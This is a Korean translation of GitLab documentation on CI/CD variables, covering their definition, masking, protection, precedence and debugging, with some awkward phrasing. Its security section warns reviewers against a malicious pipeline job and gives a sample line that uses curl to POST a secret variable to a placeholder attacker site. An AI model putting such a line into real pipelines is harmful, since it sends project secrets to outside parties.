- 사전 정의된 CI/CD 변수
-
.gitlab-ci.yml
파일에서 CI/CD 변수 정의 - UI에서 CI/CD 변수 정의
- CI/CD 변수 보안
- 작업 스크립트에서 CI/CD 변수 사용하기
- 다른 변수에서 CI/CD 변수 사용
- CI/CD 변수 우선 순위
- 변수 내보내기
- 관련 주제
- 문제 해결
- 알려진 문제 및 해결 방법
GitLab CI/CD 변수
CI/CD 변수는 환경 변수의 한 유형입니다. 이를 사용하여 다음을 수행할 수 있습니다.
- 작업 및 파이프라인의 동작 제어
- 재사용할 값을 저장
-
.gitlab-ci.yml
파일에 하드 코딩된 값을 피하기
특정 파이프라인에서 변수 값 재정의 또는 매뉴얼으로 파이프라인 실행 또는 매뉴얼 작업 실행할 때 변수 값을 사전에 채워진 상태로 사용할 수 있습니다.
변수 이름은 러너(runner)가 사용하는 셸에 의해 제한됩니다. 각 셸에는 해당 셸에서 예약된 변수 이름 세트가 있습니다.
일관된 동작을 보장하기 위해 변수 값을 항상 단일 또는 이중 따옴표로 묶어야 합니다.
변수는 내부적으로 Psych YAML 파서에 의해 구문 분석되므로 따옴표로 묶은 변수와 미묶은 변수는 다르게 구문 분석될 수 있습니다. 예를 들어, VAR1: 012345
는 8진수 값으로 해석되어 값은 5349
가 되지만, VAR1: "012345"
는 값이 012345
인 문자열로 구문 분석됩니다.
GitLab CI/CD의 고급 사용에 대한 자세한 내용은 GitLab 엔지니어들이 공유한 7가지 고급 GitLab CI 워크플로우 해킹를 참조하십시오.
사전 정의된 CI/CD 변수
GitLab CI/CD는 파이프라인 구성 및 작업 스크립트에서 사용할 수 있는 사전 정의된 CI/CD 변수 세트를 제공합니다. 이러한 변수에는 파이프라인이 트리거되거나 실행될 때 필요한 작업, 파이프라인 및 기타 값에 대한 정보가 포함되어 있습니다.
.gitlab-ci.yml
에서 사전 정의된 CI/CD 변수를 미리 선언하지 않고 사용할 수 있습니다.
예를 들어:
job1:
stage: test
script:
- echo "The job's stage is '$CI_JOB_STAGE'"
이 예제의 스크립트는 The job's stage is 'test'
를 출력합니다.
.gitlab-ci.yml
파일에서 CI/CD 변수 정의
.gitlab-ci.yml
파일에서 CI/CD 변수를 생성하려면 variables
키워드를 사용하여 변수와 값을 정의하십시오.
.gitlab-ci.yml
파일에 저장된 변수는 리포지터리에 액세스할 수 있는 모든 사용자가 볼 수 있으며 프로젝트 구성에 민감하지 않은 값만 저장해야 합니다. 예를 들어, DATABASE_URL
변수에 저장된 데이터베이스의 URL입니다. 시크릿 또는 키와 같은 민감한 값이 포함된 변수는 프로젝트 설정에 저장해야 합니다.
variables
를 작업 또는 .gitlab-ci.yml
파일의 최상위 수준에서 사용할 수 있습니다.
변수가 다음과 같이 정의된 경우:
- 최상위 수준에서 정의하면 전역적으로 사용 가능하며 모든 작업에서 사용할 수 있습니다.
- 작업에서 정의하면 해당 작업에서만 사용할 수 있습니다.
예를 들어:
variables:
GLOBAL_VAR: "A global variable"
job1:
variables:
JOB_VAR: "A job variable"
script:
- echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"
job2:
script:
- echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"
이 예에서:
-
job1
은Variables are 'A global variable' and 'A job variable'
을 출력합니다. -
job2
는Variables are 'A global variable' and ''
을 출력합니다.
value
및 description
키워드를 사용하여 수동으로 트리거된 파이프라인에 미리 채워진 변수를 정의할 수 있습니다.
단일 작업에서 전역 변수 건너뛰기
전역으로 정의된 변수를 작업에서 사용하지 않으려면 variables
을 {}
로 설정하십시오.
variables:
GLOBAL_VAR: "A global variable"
job1:
variables: {}
script:
- echo This job does not need any variables
UI에서 CI/CD 변수 정의
토큰이나 비밀번호와 같은 민감한 변수는 .gitlab-ci.yml` 파일에 저장하지 말아야 합니다. UI 설정에서 CI/CD 변수를 정의하십시오:
또는 API를 사용하여 이러한 변수를 추가할 수 있습니다:
기본적으로 포크된 프로젝트의 파이프라인은 상위 프로젝트에서 사용 가능한 CI/CD 변수에 액세스할 수 없습니다. 포크로부터의 Merge Request을 위한 상위 프로젝트에서 파이프라인 실행 시 모든 변수가 파이프라인에서 사용 가능해집니다.
프로젝트의 경우
프로젝트 설정에 CI/CD 변수를 추가할 수 있습니다.
전제 조건:
- 프로젝트 멤버인 Maintainer 권한이 있어야 합니다.
프로젝트 설정에서 변수를 추가하거나 업데이트하려면:
- 프로젝트의 Settings > CI/CD로 이동하고 Variables 섹션을 확장합니다.
- 변수 추가를 선택하고 다음을 입력합니다.
변수를 생성한 후에는 파이프라인 구성이나 작업 스크립트에서 사용할 수 있습니다.
그룹의 경우
그룹의 모든 프로젝트에 사용할 수 있는 CI/CD 변수를 만들 수 있습니다.
전제 조건:
- 그룹 멤버인 소유자 권한이 있어야 합니다.
그룹 변수를 추가하려면:
- 그룹에서 Settings > CI/CD로 이동합니다.
- 변수 추가를 선택하고 다음을 입력합니다.
그룹 프로젝트에서 사용 가능한 그룹 변수 디렉터리은 해당 프로젝트의 Settings > CI/CD > Variables 섹션에 나열되어 있습니다. 하위 그룹의 변수는 재귀적으로 상속됩니다.
환경 범위
특정 환경에만 그룹 CI/CD 변수를 설정하려면:
인스턴스의 경우
GitLab 인스턴스의 모든 프로젝트 및 그룹에서 CI/CD 변수를 사용할 수 있습니다.
전제 조건:
- 인스턴스에 대한 관리자 액세스 권한이 있어야 합니다.
인스턴스 변수를 추가하려면:
- 왼쪽 사이드바에서 맨 아래에 있는 관리 영역을 선택합니다.
- 설정 > CI/CD를 선택하고 변수 섹션을 확장합니다.
- 변수 추가를 선택하고 세부 정보를 입력합니다:
CI/CD 변수 보안
.gitlab-ci.yml
파일로 푸시된 코드는 변수를 compromise할 수 있습니다. 변수가
실수로 작업 로그에 노출될 수 있거나, 악의적으로 제3자 서버로 전송될 수 있습니다.
.gitlab-ci.yml
파일에 변경 사항을 도입하는 Merge Request을 검토한 후 다음을 진행하십시오:
- 퍼크된 프로젝트에서 forked 프로젝트로 제출된 Merge Request을 위해 부모 프로젝트에서 파이프라인 실행.
- 변경 사항을 Merge합니다.
그들에 대한 파일 추가 또는 파이프라인 실행을 실행하기 전에 가져온 프로젝트의 .gitlab-ci.yml
파일을 검토하세요.
다음 예제는 .gitlab-ci.yml
파일에서 악의적인 코드를 보여줍니다:
의도하지 않은 누출 작업:
script: # 암호가 실수로 노출됨
- echo "이 스크립트는 $USER $PASSWORD로 DB에 로그인합니다"
- db-login $USER $PASSWORD
악의적 작업:
script: # 비밀번호가 악의적으로 노출됨
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
의도하지 않은 누출 작업
과 같은 스크립트로 인해 비밀을 실수로 누출할 수 있는 경우,
모든 민감한 정보가 작업 로그에서 마스킹되어야 합니다.
또한 보호된 브랜치 및 태그에서만 변수를 제한할 수도 있습니다.
또 다른 방법으로, GitLab HashiCorp Vault 통합을 사용하여 비밀을 저장하고 검색할 수 있습니다.
악의적 작업
과 같은 악의적인 스크립트는 검토 과정에서 잡혀야 합니다.
리뷰어는 악의적인 코드로 인해 마스크 및 보호된 변수가 모두 노출될 수 있기 때문에
이러한 코드를 발견하면 절대로 파이프라인을 트리거해서는 안 됩니다.
변수 값은 aes-256-cbc
을 사용하여 암호화되어 데이터베이스에 저장됩니다. 이 데이터는 유효한 비밀 파일
으로만 읽고 복호화할 수 있습니다.
CI/CD 변수 마스킹
프로젝트, 그룹 또는 인스턴스 CI/CD 변수의 값을 작업 로그에 표시하지 않으려면 변수를 마스킹할 수 있습니다.
전제 조건:
- UI에서 CI/CD 변수를 정의하는 데 필요한 권한과 동일한 역할 또는 액세스 수준이어야 합니다.
변수를 마스킹하려면:
- 프로젝트, 그룹 또는 관리 영역에서 설정 > CI/CD로 이동합니다.
- 변수 섹션을 확장합니다.
- 보호하려는 변수 옆에 편집을 선택합니다.
- 변수 마스킹 확인란을 선택합니다.
- 변수 업데이트를 선택합니다.
마스킹된 변수에 포함될 수 있는 것이 제한되는 방법을 사용합니다. 변수의 값은:
- 단일 행이어야 합니다.
- 8자 이상이어야 합니다.
- 기존 사전 정의된 또는 사용자 정의 CI/CD 변수의 이름과 일치해서는 안 됩니다.
또한, 변수 확장이 활성화된 경우 값은 다음만 포함할 수 있습니다:
- Base64 알파벳 (RFC4648)에 있는 문자.
-
@
,:
,.
, 또는~
문자.
다른 버전의 GitLab Runner는 다른 마스킹 제한이 있습니다:
버전 | 제한 사항 |
---|---|
v14.1.0 및 이전 | 대규모 보안(Secrets) (4 KiB 이상)의 마스킹이 잠재적으로 노출. 민감한 URL 매개변수 미마스킹. |
v14.2.0 to v15.3.0 | 대규모 보안(Secrets)의 뒷부분 (4 KiB 이상)이 잠재적으로 노출. 민감한 URL 매개변수 미마스킹. |
v15.7.0 이상 |
CI_DEBUG_SERVICES 가 활성화된 경우 보안(Secrets)이 노출될 수 있습니다. 자세한 내용은 서비스 컨테이너 로깅을 읽어보세요.
|
CI/CD 변수 보호
우들은 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있도록 프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 구성할 수 있습니다.
Merge Result 파이프라인 및 Merge Request 파이프라인은 이러한 변수에 액세스할 수 없습니다.
전제 조건:
- UI에서 CI/CD 변수를 정의하는 데 필요한 권한과 동일한 역할 또는 액세스 수준이어야 합니다.
변수를 보호하려면:
- 프로젝트, 그룹 또는 관리 영역에서 설정 > CI/CD로 이동합니다.
- 변수 섹션을 확장합니다.
- 보호하려는 변수 옆에 편집을 선택합니다.
- 변수 보호 확인란을 선택합니다.
- 변수 업데이트를 선택합니다.
변수는 이후 모든 파이프라인에서 사용할 수 있습니다.
파일 유형 CI/CD 변수 사용
사전 정의된 CI/CD 변수 및 .gitlab-ci.yml
파일에 정의된 변수는 “변수” 유형(놓이의 variable_type
API의 env_var
임)입니다.
변수 유형 변수:
- 키와 값 쌍으로 구성됩니다.
- 작업에서 환경 변수로 사용할 수 있으며:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 환경 변수 값으로 사용됩니다.
프로젝트, 그룹, 인스턴스 CI/CD 변수는 기본적으로 “변수” 유형이지만
파일
유형으로 설정되도록 선택할 수 있습니다.
(API의 file
에서 variable_type).
파일 유형 변수:
- 키, 값 및 파일로 구성됩니다.
- 작업에서 환경 변수로 사용할 수 있으며:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 임시 파일에 저장됩니다.
- 환경 변수 값으로 임시 파일의 경로가 사용됩니다.
입력이 파일인 도구에 대해 파일 유형 CI/CD 변수를 사용하세요. AWS CLI
와 kubectl
는 둘 다 구성에 파일
유형 변수를 사용합니다.
예를 들어, KUBE_URL
의 키가 있고 값로 https://example.com
이 있으면:
-
KUBE_URL
을--server
옵션으로 전달합니다. 이 옵션은 변수를 사용할 수 있으며,$KUBE_CA_PEM
을--certificate-authority
옵션으로 보냅니다. 이 옵션은 임시 파일의 경로를 사용합니다.
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
.gitlab-ci.yml
변수를 파일 유형 변수로 사용하기
.gitlab-ci.yml
파일에서 정의된 CI/CD 변수는 파일 유형 변수로 설정할 수 없습니다. 파일 경로를 입력으로 필요로 하는 도구가 있는 경우에는 .gitlab-ci.yml
에 정의된 변수를 사용하고 싶지만, 변수로 사용할 수 있습니다:
- 변수 값을 파일에 저장하는 명령을 실행합니다.
- 도구에서 해당 파일을 사용합니다.
예를 들어:
variables:
SITE_URL: "https://gitlab.example.com"
job:
script:
- echo "$SITE_URL" > "site-url.txt"
- mytool --url-file="site-url.txt"
작업 스크립트에서 CI/CD 변수 사용하기
모든 CI/CD 변수는 작업의 환경에서 환경 변수로 설정됩니다. 각 환경의 쉘에 대한 표준 형식을 사용하여 작업 스크립트에서 변수를 사용할 수 있습니다.
환경 변수에 액세스하려면 러너(runner) 실행기 쉘에 대한 구문을 사용하세요.
Bash, sh
및 유사한 쉘에서
Bash, sh
및 유사한 쉘에서 환경 변수에 액세스하려면 CI/CD 변수를 ($
)로 접두사로 붙입니다:
job_name:
script:
- echo "$CI_JOB_ID"
PowerShell에서
Windows PowerShell 환경에서 변수에 액세스하려면 시스템에서 설정된 환경 변수를 포함하여 변수 이름 앞에 $env:
또는 $
접두사를 붙입니다:
job_name:
script:
- echo $env:CI_JOB_ID
- echo $CI_JOB_ID
- echo $env:PATH
특정 경우에는 일부 경우에 환경 변수를 올바르게 확장하려면 따옴표로 둘러싸야 합니다:
job_name:
script:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
Windows Batch에서
Windows Batch에서 CI/CD 변수에 액세스하려면 변수를 %
로 둘러싸면 됩니다:
job_name:
script:
- echo %CI_JOB_ID%
또한 지연 확장을 위해 변수를 !
로 둘러싸는 것도 가능합니다.
지연 확장은 공백이 포함되거나 새 줄이 포함된 변수에 필요할 수 있습니다:
job_name:
script:
- echo !ERROR_MESSAGE!
서비스 컨테이너에서
서비스 컨테이너는 기본적으로 .gitlab-ci.yml 파일에 저장된 변수만 액세스할 수 있지만 CI/CD 변수를 사용할 수 있습니다.
기본적으로 GitLab UI에서 설정된 변수는 서비스 컨테이너에서 사용할 수 없습니다. UI로 정의된 변수를 서비스 컨테이너에서 사용하려면 .gitlab-ci.yml
에서 다시 할당하세요:
variables:
SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI
다른 작업에 환경 변수 전달하기
작업에서 새로운 환경 변수를 생성하고 이를 나중에 다른 작업에 전달할 수 있습니다. 이러한 변수는 파이프라인을 구성하는 CI/CD 변수로 사용할 수는 없지만 작업 스크립트에서 사용할 수 있습니다.
작업에서 작업 생성된 환경 변수를 다른 작업에 전달하려면:
- 작업 스크립트에서 변수를
.env
파일로 저장합니다.- 파일 형식은 한 줄에 하나의 변수 정의여야 합니다.
- 각 행은 다음과 같이 형식화되어야 합니다:
VARIABLE_NAME=HERE에있는 임의의 값
. - 값은 따옴표로 묶일 수 있지만 새 줄 문자를 포함할 수는 없습니다.
-
.env
파일을artifacts:reports:dotenv
로 저장합니다. - 나중 단계의 작업에서 스크립트에서 변수를 사용할 수 있습니다,
단, 작업이
dotenv
변수를 수신하지 않도록 구성되지 않는 한.
예를 들어:
build-job:
stage: build
script:
- echo "BUILD_VARIABLE=value_from_build_job" >> build.env
artifacts:
reports:
dotenv: build.env
test-job:
stage: test
script:
- echo "$BUILD_VARIABLE" # 출력은: 'value_from_build_job'
dotenv
보고서의 변수는 일부 유형의 새 변수 정의와 같은 것에 우선합니다.
또한 하위 파이프라인에 dotenv
변수를 전달할 수도 있습니다.
dotenv
변수를 수신하는 작업 제어하기
dependencies
또는 needs
키워드를 사용하여 dotenv
아티팩트를 수신하는 작업을 제어할 수 있습니다.
dotenv
아티팩트를 전혀 사용하지 않으려면:
- 빈
dependencies
또는needs
배열을 전달합니다. -
needs:artifacts
를false
로 전달합니다. -
dotenv
아티팩트가 없는 작업만 나열하는 데만needs
를 설정합니다.
예를 들어:
build-job1:
stage: build
script:
- echo "BUILD_VERSION=v1.0.0" >> build.env
artifacts:
reports:
dotenv: build.env
build-job2:
stage: build
needs: []
script:
- echo "This job has no dotenv artifacts"
test-job1:
stage: test
script:
- echo "$BUILD_VERSION" # 출력은: 'v1.0.0'
dependencies:
- build
test-job2:
stage: test
script:
- echo "$BUILD_VERSION" # 출력은 ''
dependencies: []
test-job3:
stage: test
script:
- echo "$BUILD_VERSION" # 출력은: 'v1.0.0'
needs:
- build-job1
test-job4:
stage: test
script:
- echo "$BUILD_VERSION" # 출력은: 'v1.0.0'
needs:
job: build-job1
artifacts: true
test-job5:
stage: deploy
script:
- echo "$BUILD_VERSION" # 출력은 ''
needs:
job: build-job1
artifacts: false
test-job6:
stage: deploy
script:
- echo "$BUILD_VERSION" # 출력은 ''
needs:
- build-job2
script
섹션에서 다른 섹션으로 환경 변수 전달하기
$GITLAB_ENV
를 사용하여 script
섹션에서 정의된 환경 변수를 다른 섹션으로 전달할 수 있습니다.
예를 들어:
build-job:
stage: build
script:
- echo "ARCH=$(arch)" >> $GITLAB_ENV
- touch some-file-$(arch)
artifacts:
paths:
- some-file-$ARCH
변수를 다른 단계에서도 참조하려면 변수를 $GITLAB_ENV
및 .env
파일로 모두 써야 합니다:
build-job:
stage: build
script:
- echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
- touch some-file-$(arch)
artifacts:
paths:
- some-file-$ARCH
reports:
dotenv: build.env
release-job:
stage: release
script:
- curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"
하나의 변수에 여러 값을 저장
CI/CD 변수로 여러 값을 포함한 배열을 생성할 수는 없지만, 유사한 동작을 위해 셸 스크립팅 기술을 사용할 수 있습니다.
예를 들어, 변수에 공백으로 구분된 여러 값을 저장한 다음, 다음과 같은 스크립트로 해당 값을 반복하여 처리할 수 있습니다:
job1:
variables:
FOLDERS: src test docs
script:
- |
for FOLDER in $FOLDERS
do
echo "The path is root/${FOLDER}"
done
다른 변수에서 CI/CD 변수 사용
다른 변수 내에서 변수를 사용할 수 있습니다:
job:
variables:
FLAGS: '-al'
LS_CMD: 'ls "$FLAGS"'
script:
- 'eval "$LS_CMD"' # 'ls -al'을 실행합니다
CI/CD 변수에서 $
문자 사용
다른 변수로 해석되길 원치 않을 경우,
$$
로 대신 사용하세요:
job:
variables:
FLAGS: '-al'
LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
script:
- 'eval "$LS_CMD"' # 'ls -al $TMP_DIR'을 실행합니다
CI/CD 변수의 확장 방지
확장된 변수는 $
문자를 다른 변수로 취급합니다.
CI/CD 변수는 기본적으로 확장됩니다. $
문자가 포함된 변수를
문자 그대로 사용하려면 해당 변수의 확장을 비활성화하세요.
필수 조건:
- UI에서 CI/CD 변수를 정의할 때 필요한 권한 또는 액세스 레벨이 동일해야 합니다.
변수의 확장 비활성화:
- 프로젝트 또는 그룹에서 설정 > CI/CD로 이동합니다.
- 변수 섹션을 펼칩니다.
- 확장을 원하지 않는 변수 옆의 편집을 선택합니다.
- 변수 확장 확인란을 지웁니다.
- 변수 업데이트를 선택합니다.
CI/CD 변수 우선 순위
- 스캔 실행 정책 변수 우선 순위는 GitLab 16.7에서 변경되었으며,
security_policies_variables_precedence
라는 플래그로 피처 플래그가 제거되었습니다. 기본적으로 활성화됨.
여러 위치에서 동일한 이름을 가진 CI/CD 변수를 사용할 수 있지만, 값이 서로 덮어씌워질 수 있습니다. 변수의 유형 및 정의 위치에 따라 변수의 우선 순위가 결정됩니다.
변수의 우선 순위는 다음과 같습니다(높은 순서부터 낮은 순서):
- 스캔 실행 정책 변수.
- 다음 변수들은 (최고) 우선 순위를 모두 가집니다:
- 트리거 변수.
- 예약된 파이프라인 변수.
- 매뉴얼으로 실행된 파이프라인 변수.
- API를 사용하여 파이프라인을 생성할 때 추가되는 변수.
- 매뉴얼 작업 변수.
- 프로젝트 변수.
- 그룹 변수. 해당 그룹과 하위 그룹에 동일한 변수 이름이 있는 경우
작업은 가장 가까운 하위 그룹의 값을 사용합니다. 예를 들어,
그룹 > 하위 그룹 1 > 하위 그룹 2 > 프로젝트
의 경우,하위 그룹 2
에 정의된 변수가 우선됩니다. - 인스턴스 변수.
-
.env
보고서에서 정의된 변수. -
.gitlab-ci.yml
파일의 작업에서 정의된 변수. -
.gitlab-ci.yml
파일에서 (전역으로) 정의된 작업 외 변수. - 배포 변수.
- 사전 정의된 변수.
예를 들면:
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable is '$API_TOKEN'"
이 예제에서 job1
은 .gitlab-ci.yml
파일의 작업에서 정의된 변수가
.gitlab-ci.yml
파일에서 전역으로 정의된 변수보다 더 높은 우선 순위를 가지므로
job1
은 “The variable is ‘secure’“를 출력합니다.
정의된 CI/CD 변수 덮어쓰기
변수의 값을 덮어쓸 수 있습니다. 이는 다음과 같은 경우에 발생합니다:
- UI에서 매뉴얼으로 파이프라인을 실행할 때.
-
파이프라인을 만든 경우
pipelines
API 엔드포인트를 사용할 때. - GitLab CI/CD를 위한 푸시 옵션을 사용할 때.
- 트리거 API 엔드포인트를 사용하여 파이프라인을 트리거할 때.
- [변수
키워드를 사용하여 하류 파이프라인에 변수를 전달](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline)하거나, 작업에서
dotenv` 변수를 사용할 때(하류 파이프라인에 환경 변수를 전달). - 매뉴얼 작업을 실행할 때 변수를 명시할 때.
사전 정의된 변수를 덮어쓰는 것은 피해야 합니다. 그렇게 하면 파이프라인이 예기치 않게 작동할 수 있습니다.
변수 덮어쓰기 권한 제한
변수를 덮어쓰는 권한을 Maintainer 역할을 가진 사용자에게로 제한할 수 있습니다.
변수를 덮어쓰기 위해 다른 사용자가 시도하는 경우,
Insufficient permissions to set pipeline variables
오류 메시지를 수신합니다.
이 기능은 기본적으로 비활성화
되어 있는 restrict_user_defined_variables
설정을
설정하기 위해 프로젝트 API를 사용하세요.
CI/CD 구성을 다른 리포지터리에 저장하는 경우, 파이프라인이 실행되는 환경을 제어하기 위해 이 설정을 사용하세요.
변수 내보내기
독립된 셸 환경에서 실행되는 스크립트는 내보내기, 별칭, 지역 함수 정의 또는 다른 로컬 셸 업데이트를 공유하지 않습니다.
즉, 작업이 실패하는 경우 사용자 정의 스크립트에 의해 생성된 변수는 내보내지지 않습니다.
러너(runner)가 .gitlab-ci.yml
에서 정의된 작업을 실행하는 경우:
-
before_script
에 지정된 스크립트 및 주 스크립트는 단일 셸 환경에서 함께 실행되고 연결됩니다. -
after_script
에 지정된 스크립트는before_script
및 지정된 스크립트와 완전히 분리된 셸 환경에서 실행됩니다.
스크립트가 실행되는 셸과 관계없이 러너 출력에는 다음이 포함됩니다:
- 사전 정의된 변수.
- 다음과 같이 정의된 변수:
- 인스턴스 및 그룹 또는 프로젝트 CI/CD 설정.
- 변수 섹션의
.gitlab-ci.yml
파일. - 비밀 변수 섹션의
.gitlab-ci.yml
파일. -
config.toml
.
러너(runner)는 매뉴얼 내보내기, 셸 별칭, export MY_VARIABLE=1
과 같은 스크립트 내부에서 실행되는 함수를 처리할 수 없습니다.
예를 들어, 다음 .gitlab-ci.yml
파일은 다음과 같이 스크립트가 정의됩니다:
job:
variables:
JOB_DEFINED_VARIABLE: "job variable"
before_script:
- echo "This is the 'before_script' script"
- export MY_VARIABLE="variable"
script:
- echo "This is the 'script' script"
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
after_script:
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
러너(runner)가 작업을 실행할 때:
-
before_script
가 실행됩니다:- 출력에 표시됩니다.
-
MY_VARIABLE
에 대한 변수를 정의합니다
-
script
가 실행됩니다:- 출력에 표시됩니다.
-
JOB_DEFINED_VARIABLE
의 값이 표시됩니다. -
CI_COMMIT_SHA
의 값이 표시됩니다. -
MY_VARIABLE
의 값이 표시됩니다.
- 새로운 별개의 셸 환경에서
after_script
가 실행됩니다:- 출력에 표시됩니다.
-
JOB_DEFINED_VARIABLE
의 값이 표시됩니다. -
CI_COMMIT_SHA
의 값이 표시됩니다. -
MY_VARIABLE
의 값은 표시되지 않습니다.after_script
가before_script
와 별개의 셸 환경에 있기 때문에 변수의 값이 감지되지 않습니다.
관련 주제
-
Auto DevOps를 구성하여 실행 중인 애플리케이션에 CI/CD 변수를 전달할 수 있습니다. 실행 중인 애플리케이션의 환경 변수로 CI/CD 변수를 사용할 수 있도록 하려면,
K8S_SECRET_
로 변수 키를 접두어로 지정하세요. -
Managing the Complex Configuration Data Management Monster Using GitLab 비디오는 Complex Configuration Data Monorepo의 작동 예제 프로젝트를 안내합니다. 이는 여러 수준의 그룹 CI/CD 변수가 애플리케이션 빌드 또는 배포의 복잡한 구성을 위해 환경 범위의 프로젝트 변수와 결합될 수 있는 방법을 설명합니다.
이 예제는 테스트를 위해 본인의 그룹이나 인스턴스로 복사할 수 있습니다. 어떤 기타 GitLab CI 패턴들이 프로젝트 페이지에서 사용 가능한지에 대한 자세한 내용은 확인할 수 있습니다.
-
하류 파이프라인에 CI/CD 변수를 전달할 수 있습니다.
trigger:forward
키워드를 사용하여 하류 파이프라인에 전달할 변수 유형을 지정하세요.
문제 해결
모든 변수 나열
Bash에서 export
명령어를 사용하거나 PowerShell에서 dir env:
를 사용하여 스크립트로 사용 가능한 모든 변수의 값을 노출할 수 있습니다. 이는 보안 위험일 수 있습니다. 가리기된 변수는 [masked]
로 표시됩니다.
예를 들어, Bash에서:
job_name:
script:
- export
작업 로그 예시 (일부분):
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...
디버그 로그 사용
디버그 로깅을 사용하여 파이프라인 구성 또는 작업 스크립트와 관련된 문제를 해결하는 데 도움을 얻을 수 있습니다. 디버그 로깅은 일반적으로 러너에 의해 숨겨지는 작업 실행 세부사항을 노출하고, 작업 로그를 더 자세하게 만듭니다. 또한 작업에 사용 가능한 모든 변수와 비밀을 노출합니다.
디버그 로깅을 활성화하기 전에, 작업 로그를 볼 수 있는 권한이 팀 멤버에게만 있는지 확인하세요. 또한 로그를 다시 공개하기 전에 디버그 출력물이 포함된 작업 로그를 삭제해야 합니다.
디버그 로깅을 활성화하려면 CI_DEBUG_TRACE
변수를 true
로 설정하세요:
job_name:
variables:
CI_DEBUG_TRACE: "true"
출력 예시 (일부분):
...
export CI_PROJECT_ID=17893
export CI_PROJECT_NAME=ci-debug-trace
...
디버그 로깅 접근
디버그 로깅에 접근하는 것은 최소한 개발자 권한을 가진 사용자에게 제한됩니다. 더 낮은 권한을 가진 사용자는 디버그 로깅이 변수로 활성화된 상태에서 로그를 볼 수 없습니다.
-
.gitlab-ci.yml
파일에서 지정하는 변수로 디버그 로깅이 활성화됩니다. - GitLab UI에서 설정되는 CI/CD 변수도 동일합니다.
CI_DEBUG_TRACE
를 로컬 변수로 runner에 추가하면, 디버그 로그가 생성되고 작업 로그에 접근할 수 있는 모든 사용자에게 표시됩니다. Runner에서 권한 수준을 확인하지 않으므로 해당 변수는 GitLab 자체에서만 사용해야 합니다.알려진 문제 및 해결 방법
다음은 CI/CD 변수와 관련된 알려진 문제 및 가능한 경우에는 알려진 해결 방법입니다.
“argument list too long”
이 문제는 작업이 실행되는 셸이 부과하는 제한을 초과하여 작업에 지정된 모든 CI/CD 변수의 결합된 길이가 제한을 초과할 때 발생합니다. 이에는 사전 정의된 변수 및 사용자 정의 변수의 이름 및 값이 포함됩니다. 이 제한은 일반적으로 ARG_MAX
로 지칭되며, 셸 및 운영 체제에 따라 다릅니다. 또한 단일 파일 유형 변수의 내용이 ARG_MAX
를 초과할 때도 이 문제가 발생합니다.
자세한 정보는 issue 392406를 참조하십시오.
해결책으로 다음을 시도할 수 있습니다: